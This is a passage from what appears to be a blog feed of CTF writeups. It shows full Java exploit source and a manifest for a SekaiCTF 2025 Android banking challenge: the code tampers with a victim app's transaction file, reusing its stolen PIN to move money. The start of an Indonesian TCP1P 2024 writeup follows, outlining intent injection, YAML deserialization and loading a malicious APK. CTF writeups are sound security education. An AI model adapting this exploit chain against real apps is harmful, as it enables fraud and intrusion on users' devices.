class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lbyte.sekai_exp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.app.Activity;</span><br><span class="line"><span class="keyword">import</span> android.content.ContentResolver;</span><br><span class="line"><span class="keyword">import</span> android.database.Cursor;</span><br><span class="line"><span class="keyword">import</span> android.net.Uri;</span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"><span class="keyword">import</span> android.widget.ScrollView;</span><br><span class="line"><span class="keyword">import</span> android.widget.TextView;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.json.JSONException;</span><br><span class="line"><span class="keyword">import</span> org.json.JSONObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.OutputStream;</span><br><span class="line"><span class="keyword">import</span> java.text.SimpleDateFormat;</span><br><span class="line"><span class="keyword">import</span> java.util.Date;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Started by the victim via fallback. Receives a granted content:// URI.</span></span><br><span class="line"><span class="comment"> * - If URI is a directory → lists via query()</span></span><br><span class="line"><span class="comment"> * - Extracts first file from the directory</span></span><br><span class="line"><span class="comment"> * - Reads the file content and extracts pin and id</span></span><br><span class="line"><span class="comment"> * - Writes a modified payload with the same pin and id</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SinkActivity</span> <span class="keyword">extends</span> <span class="title class_">Activity</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">TAG</span> <span class="operator">=</span> <span class="string">&quot;SEKAI-POC&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line"></span><br><span class="line">        <span class="type">TextView</span> <span class="variable">tv</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TextView</span>(<span class="built_in">this</span>);</span><br><span class="line">        tv.setTextIsSelectable(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">ScrollView</span> <span class="variable">sc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ScrollView</span>(<span class="built_in">this</span>);</span><br><span class="line">        sc.addView(tv);</span><br><span class="line">        setContentView(sc);</span><br><span class="line"></span><br><span class="line">        <span class="type">Uri</span> <span class="variable">u</span> <span class="operator">=</span> getIntent().getData();</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        out.append(<span class="string">&quot;URI: &quot;</span>).append(u).append(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 1) LIST (works if URI points to a directory for this provider)</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">firstFilename</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="type">Cursor</span> <span class="variable">cursor</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            cursor = getContentResolver().query(u, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">            <span class="keyword">if</span> (cursor != <span class="literal">null</span> &amp;&amp; cursor.getCount() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">nameIndex</span> <span class="operator">=</span> cursor.getColumnIndex(<span class="string">&quot;name&quot;</span>);</span><br><span class="line">                <span class="type">int</span> <span class="variable">sizeIndex</span> <span class="operator">=</span> cursor.getColumnIndex(<span class="string">&quot;size&quot;</span>);</span><br><span class="line">                <span class="type">int</span> <span class="variable">pathIndex</span> <span class="operator">=</span> cursor.getColumnIndex(<span class="string">&quot;path&quot;</span>);</span><br><span class="line">                </span><br><span class="line">                out.append(<span class="string">&quot;LISTING:\n&quot;</span>);</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// Get the first file</span></span><br><span class="line">                cursor.moveToFirst();</span><br><span class="line">                <span class="keyword">if</span> (nameIndex &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">                    firstFilename = cursor.getString(nameIndex);</span><br><span class="line">                    <span class="type">String</span> <span class="variable">size</span> <span class="operator">=</span> (sizeIndex &gt;= <span class="number">0</span>) ? cursor.getString(sizeIndex) : <span class="string">&quot;unknown&quot;</span>;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> (pathIndex &gt;= <span class="number">0</span>) ? cursor.getString(pathIndex) : <span class="string">&quot;unknown&quot;</span>;</span><br><span class="line">                    </span><br><span class="line">                    Log.i(TAG, <span class="string">&quot;First file: &quot;</span> + firstFilename + <span class="string">&quot; (size: &quot;</span> + size + <span class="string">&quot;, path: &quot;</span> + path + <span class="string">&quot;)&quot;</span>);</span><br><span class="line">                    out.append(<span class="string">&quot;First file: &quot;</span> + firstFilename + <span class="string">&quot; (size: &quot;</span> + size + <span class="string">&quot;, path: &quot;</span> + path + <span class="string">&quot;)\n\n&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// List all files for debugging</span></span><br><span class="line">                cursor.moveToPosition(-<span class="number">1</span>); <span class="comment">// Reset cursor position</span></span><br><span class="line">                <span class="keyword">while</span> (cursor.moveToNext()) &#123;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> (nameIndex &gt;= <span class="number">0</span>) ? cursor.getString(nameIndex) : <span class="string">&quot;&lt;no-name&gt;&quot;</span>;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">size</span> <span class="operator">=</span> (sizeIndex &gt;= <span class="number">0</span>) ? cursor.getString(sizeIndex) : <span class="string">&quot;&lt;no-size&gt;&quot;</span>;</span><br><span class="line">                    <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> (pathIndex &gt;= <span class="number">0</span>) ? cursor.getString(pathIndex) : <span class="string">&quot;&lt;no-path&gt;&quot;</span>;</span><br><span class="line">                    out.append(<span class="string">&quot; - &quot;</span>).append(name).append(<span class="string">&quot; (&quot;</span>).append(size).append(<span class="string">&quot;) : &quot;</span>).append(path).append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                out.append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                out.append(<span class="string">&quot;LISTING: No files found or null cursor\n\n&quot;</span>);</span><br><span class="line">                Log.e(TAG, <span class="string">&quot;No files found or null cursor&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Throwable t) &#123;</span><br><span class="line">            Log.e(TAG, <span class="string">&quot;Query failed&quot;</span>, t);</span><br><span class="line">            out.append(<span class="string">&quot;LISTING failed: &quot;</span>).append(t).append(<span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Check if we found a file</span></span><br><span class="line">        <span class="keyword">if</span> (firstFilename == <span class="literal">null</span>) &#123;</span><br><span class="line">            Log.e(TAG, <span class="string">&quot;No files found in the directory&quot;</span>);</span><br><span class="line">            out.append(<span class="string">&quot;ERROR: No files found in the directory\n\n&quot;</span>);</span><br><span class="line">            <span class="keyword">if</span> (cursor != <span class="literal">null</span>) &#123;</span><br><span class="line">                cursor.close();</span><br><span class="line">            &#125;</span><br><span class="line">            tv.setText(out.toString());</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2) READ the specific file</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">originalId</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">originalPin</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// Construct URI to the specific file</span></span><br><span class="line">            <span class="type">Uri</span> <span class="variable">fileUri</span> <span class="operator">=</span> Uri.parse(u + <span class="string">&quot;/&quot;</span> + firstFilename);</span><br><span class="line">            Log.i(TAG, <span class="string">&quot;Trying to read file: &quot;</span> + fileUri);</span><br><span class="line">            out.append(<span class="string">&quot;Trying to read file: &quot;</span> + fileUri + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> getContentResolver().openInputStream(fileUri);</span><br><span class="line">            <span class="keyword">if</span> (is != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">byte</span>[] data = readAll(is);</span><br><span class="line">                is.close();</span><br><span class="line">                <span class="type">String</span> <span class="variable">fileContent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(data);</span><br><span class="line">                Log.i(TAG, <span class="string">&quot;READ OK: File content:\n&quot;</span> + fileContent);</span><br><span class="line">                out.append(<span class="string">&quot;READ OK: Original file content:\n&quot;</span> + fileContent + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// Extract id and pin from JSON</span></span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="type">JSONObject</span> <span class="variable">json</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JSONObject</span>(fileContent);</span><br><span class="line">                    originalId = json.optString(<span class="string">&quot;id&quot;</span>, <span class="string">&quot;unknown-id&quot;</span>);</span><br><span class="line">                    originalPin = json.optString(<span class="string">&quot;pin&quot;</span>, <span class="string">&quot;000000&quot;</span>);</span><br><span class="line">                    </span><br><span class="line">                    Log.i(TAG, <span class="string">&quot;Extracted ID: &quot;</span> + originalId + <span class="string">&quot;, PIN: &quot;</span> + originalPin);</span><br><span class="line">                    out.append(<span class="string">&quot;Extracted ID: &quot;</span> + originalId + <span class="string">&quot;, PIN: &quot;</span> + originalPin + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (JSONException je) &#123;</span><br><span class="line">                    Log.e(TAG, <span class="string">&quot;Failed to parse JSON&quot;</span>, je);</span><br><span class="line">                    out.append(<span class="string">&quot;Failed to parse JSON: &quot;</span> + je.getMessage() + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                    originalId = <span class="string">&quot;exploit-&quot;</span> + System.currentTimeMillis();</span><br><span class="line">                    originalPin = <span class="string">&quot;000000&quot;</span>; <span class="comment">// Fallback</span></span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 3) WRITE modified content to the same file</span></span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="comment">// Create our payload with the extracted ID and PIN</span></span><br><span class="line">                    <span class="type">SimpleDateFormat</span> <span class="variable">sdf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SimpleDateFormat</span>(<span class="string">&quot;yyyy-MM-dd&#x27;T&#x27;HH:mm:ss.SSS&#x27;Z&#x27;&quot;</span>);</span><br><span class="line">                    <span class="type">String</span> <span class="variable">now</span> <span class="operator">=</span> sdf.format(<span class="keyword">new</span> <span class="title class_">Date</span>());</span><br><span class="line">                    <span class="type">String</span> <span class="variable">pastTime</span> <span class="operator">=</span> sdf.format(<span class="keyword">new</span> <span class="title class_">Date</span>(System.currentTimeMillis() - <span class="number">86400000</span>)); <span class="comment">// 1 day ago</span></span><br><span class="line">                    </span><br><span class="line">                    <span class="type">String</span> <span class="variable">modifiedPayload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;id\&quot;: \&quot;&quot;</span> + originalId + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;toUsername\&quot;: \&quot;none\&quot;,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;amount\&quot;: 1000000,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;message\&quot;: \&quot;flag please\&quot;,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;pin\&quot;: \&quot;&quot;</span> + originalPin + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;createdAt\&quot;: \&quot;&quot;</span> + now + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;scheduledTime\&quot;: \&quot;&quot;</span> + pastTime + <span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;  \&quot;type\&quot;: \&quot;USER_SCHEDULED\&quot;\n&quot;</span> +</span><br><span class="line">                            <span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line">                    </span><br><span class="line">                    Log.i(TAG, <span class="string">&quot;Created modified payload:\n&quot;</span> + modifiedPayload);</span><br><span class="line">                    out.append(<span class="string">&quot;Created modified payload:\n&quot;</span> + modifiedPayload + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                    </span><br><span class="line">                    <span class="comment">// Write the modified payload to the file</span></span><br><span class="line">                    <span class="type">OutputStream</span> <span class="variable">os</span> <span class="operator">=</span> getContentResolver().openOutputStream(fileUri);</span><br><span class="line">                    <span class="keyword">if</span> (os != <span class="literal">null</span>) &#123;</span><br><span class="line">                        os.write(modifiedPayload.getBytes());</span><br><span class="line">                        os.flush();</span><br><span class="line">                        os.close();</span><br><span class="line">                        </span><br><span class="line">                        Log.i(TAG, <span class="string">&quot;WRITE OK: Successfully wrote modified payload to &quot;</span> + firstFilename);</span><br><span class="line">                        out.append(<span class="string">&quot;WRITE OK: Successfully wrote modified payload to &quot;</span> + firstFilename + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                        </span><br><span class="line">                        <span class="comment">// Verify the write by reading again</span></span><br><span class="line">                        <span class="keyword">try</span> &#123;</span><br><span class="line">                            <span class="type">InputStream</span> <span class="variable">verifyIs</span> <span class="operator">=</span> getContentResolver().openInputStream(fileUri);</span><br><span class="line">                            <span class="keyword">if</span> (verifyIs != <span class="literal">null</span>) &#123;</span><br><span class="line">                                <span class="type">byte</span>[] verifyData = readAll(verifyIs);</span><br><span class="line">                                verifyIs.close();</span><br><span class="line">                                <span class="type">String</span> <span class="variable">verifyContent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(verifyData);</span><br><span class="line">                                </span><br><span class="line">                                Log.i(TAG, <span class="string">&quot;VERIFY OK: File content after write:\n&quot;</span> + verifyContent);</span><br><span class="line">                                out.append(<span class="string">&quot;VERIFY OK: File content after write:\n&quot;</span> + verifyContent + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125; <span class="keyword">catch</span> (Exception ve) &#123;</span><br><span class="line">                            Log.e(TAG, <span class="string">&quot;Failed to verify write&quot;</span>, ve);</span><br><span class="line">                            out.append(<span class="string">&quot;Failed to verify write: &quot;</span> + ve.getMessage() + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        Log.e(TAG, <span class="string">&quot;Failed to open output stream for &quot;</span> + fileUri);</span><br><span class="line">                        out.append(<span class="string">&quot;Failed to open output stream for &quot;</span> + fileUri + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception we) &#123;</span><br><span class="line">                    Log.e(TAG, <span class="string">&quot;Failed to write modified payload&quot;</span>, we);</span><br><span class="line">                    out.append(<span class="string">&quot;Failed to write modified payload: &quot;</span> + we.getMessage() + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                Log.e(TAG, <span class="string">&quot;Failed to open input stream for &quot;</span> + fileUri);</span><br><span class="line">                out.append(<span class="string">&quot;Failed to open input stream for &quot;</span> + fileUri + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            Log.e(TAG, <span class="string">&quot;Error in read/write process&quot;</span>, e);</span><br><span class="line">            out.append(<span class="string">&quot;Error in read/write process: &quot;</span> + e.getMessage() + <span class="string">&quot;\n\n&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (cursor != <span class="literal">null</span>) &#123;</span><br><span class="line">                cursor.close();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        tv.setText(out.toString());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">byte</span>[] readAll(InputStream is) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">byte</span>[] buf = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">4096</span>];</span><br><span class="line">        <span class="type">int</span> n;</span><br><span class="line">        <span class="keyword">while</span> ((n = is.read(buf)) != -<span class="number">1</span>) &#123;</span><br><span class="line">            baos.write(buf, <span class="number">0</span>, n);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> baos.toByteArray();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="AndroidManifest-xml"><a href="#AndroidManifest-xml" class="headerlink" title="AndroidManifest.xml"></a>AndroidManifest.xml</h3><div class="code-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">manifest</span> <span class="attr">xmlns:android</span>=<span class="string">&quot;http://schemas.android.com/apk/res/android&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;android.permission.INTERNET&quot;</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;android.permission.ACCESS_NETWORK_STATE&quot;</span> /&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">application</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:allowBackup</span>=<span class="string">&quot;true&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:icon</span>=<span class="string">&quot;@mipmap/ic_launcher&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:label</span>=<span class="string">&quot;@string/app_name&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:roundIcon</span>=<span class="string">&quot;@mipmap/ic_launcher_round&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:supportsRtl</span>=<span class="string">&quot;true&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:theme</span>=<span class="string">&quot;@style/Theme.Sekaiexp&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:usesCleartextTraffic</span>=<span class="string">&quot;true&quot;</span>&gt;</span></span><br><span class="line">        </span><br><span class="line">        <span class="tag">&lt;<span class="name">activity</span></span></span><br><span class="line"><span class="tag">            <span class="attr">android:name</span>=<span class="string">&quot;.KickActivity&quot;</span></span></span><br><span class="line"><span class="tag">            <span class="attr">android:exported</span>=<span class="string">&quot;true&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">&quot;android.intent.action.MAIN&quot;</span> /&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">&quot;android.intent.category.LAUNCHER&quot;</span> /&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">activity</span>&gt;</span></span><br><span class="line">        </span><br><span class="line">        <span class="tag">&lt;<span class="name">activity</span></span></span><br><span class="line"><span class="tag">            <span class="attr">android:name</span>=<span class="string">&quot;.SinkActivity&quot;</span></span></span><br><span class="line"><span class="tag">            <span class="attr">android:exported</span>=<span class="string">&quot;true&quot;</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">application</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">manifest</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>This exploit chain demonstrates several common Android security vulnerabilities:</p><ol><li><strong>Intent-based IPC vulnerabilities</strong>: The MainActivity fallback vulnerability allows arbitrary Intent execution within the victim’s context.</li><li><strong>Path traversal</strong>: The LogProvider is vulnerable to path traversal, allowing access to files outside its intended scope.</li><li><strong>Insecure file operations</strong>: The delayed transaction system doesn’t properly validate the integrity of transaction files before processing them.</li></ol><p>The combination of these vulnerabilities allows us to execute a complete exploit chain that:</p><ol><li>Gains execution within the victim’s context</li><li>Accesses sensitive files</li><li>Modifies those files to steal money</li><li>Leverages the victim’s authentication to process the transaction</li></ol><p>This exploit is particularly dangerous because it requires no user interaction beyond installing and running our malicious app, and it can steal money from any user who has the vulnerable SekaiBank app installed.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;iframe width=&quot;100%&quot; height=&quot;400&quot; src=&quot;https://www.youtube.com/embed/7xVm1CLk-Yo?si=OU-lhFM7VSq5ZCT1&quot; title=&quot;YouTube video player&quot; framebord</summary>
      
    
    
    
    <category term="sekaictf 2025" scheme="https://lbyte.id/categories/sekaictf-2025/"/>
    
    
    <category term="mobile" scheme="https://lbyte.id/tags/mobile/"/>
    
    <category term="intent" scheme="https://lbyte.id/tags/intent/"/>
    
    <category term="ctf" scheme="https://lbyte.id/tags/ctf/"/>
    
    <category term="jadx" scheme="https://lbyte.id/tags/jadx/"/>
    
    <category term="android" scheme="https://lbyte.id/tags/android/"/>
    
    <category term="java" scheme="https://lbyte.id/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>TCP1P 2024: Mobile Writeup</title>
    <link href="https://lbyte.id/2024/10/15/writeup/TCP1P%202024:%20Mobile%20Writeup/"/>
    <id>https://lbyte.id/2024/10/15/writeup/TCP1P%202024:%20Mobile%20Writeup/</id>
    <published>2024-10-15T04:28:06.000Z</published>
    <updated>2026-05-06T07:20:33.564Z</updated>
    
    <content type="html"><![CDATA[<p>Team: MAGER &#x2F; Vantage Point Security<br>Rank: 5&#x2F;1110</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i.ibb.co/h8Ppqj6/cert.jpg"                                     ></p><h1 id="Password-Manager-2-0"><a href="#Password-Manager-2-0" class="headerlink" title="Password Manager 2.0"></a>Password Manager 2.0</h1><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Challenge ini adalah sebuah aplikasi Password Manager yang memiliki sebuah activity bernama <code>CalculatorActivity</code>. Activity ini melakukan operasi matematika sederhana dan memiliki intent yang <code>exported=&quot;true&quot;</code>, yang berarti dapat diakses oleh aplikasi lain tanpa memerlukan permission. </p><hr><p>Pada activity ini terdapat sebuah exception yang terjadi ketika melakukan pembagian dengan angka 0. Exception ini dapat digunakan untuk bypass operasi matematika yang seharusnya dilakukan. Ketika exception terjadi, dia akan melakukan <code>setResult(-1, i)</code> yang dimana nilai <code>i</code> adalah <code>Intent i = getIntent();</code>, yang memungkinkan kita untuk melakukan intent injection.</p><hr><p>Dengan memanfaatkan bug ini, kita dapat menulis ke content provider untuk membuat file <code>pwds.yml</code> dan <code>mal.apk</code> di folder <code>/files/</code>. File <code>pwds.yml</code> akan diload oleh <code>snakeyaml</code>, yang memiliki kemampuan untuk melakukan deserialization. Kita dapat memanfaatkan deserialization ini untuk menjalankan gadget dari <code>ScriptEngineManager</code>, yang dapat dikombinasikan dengan <code>CustomClassLoader</code> dalam <code>mal.apk</code>. Hal ini memungkinkan kita untuk melakukan remote code execution pada aplikasi ini dengan meload <code>mal.apk</code> yang telah kita buat.</p><hr><div style="position: relative; padding-bottom: 56.25%; height: 0;">    <iframe src="https://www.youtube.com/embed/Ztw6L8TsY_o" style="position: absolute; top: 0; left: 0; width: 100%; height: 